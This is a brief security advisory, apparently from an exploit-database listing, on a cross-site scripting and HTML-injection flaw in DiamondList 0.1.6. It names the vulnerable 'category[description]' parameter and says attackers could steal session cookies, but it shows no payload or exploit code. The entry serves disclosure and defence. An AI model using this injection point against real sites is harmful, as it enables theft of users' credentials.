DiamondList - '/user/main/update_category?category[description]' Cross-Site Scripting

source: https://www.securityfocus.com/bid/42252/info
 
DiamondList is prone to a cross-site scripting vulnerability and an HTML-injection vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content.
 
Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.
 
DiamondList 0.1.6 is vulnerable; prior versions may also be affected.
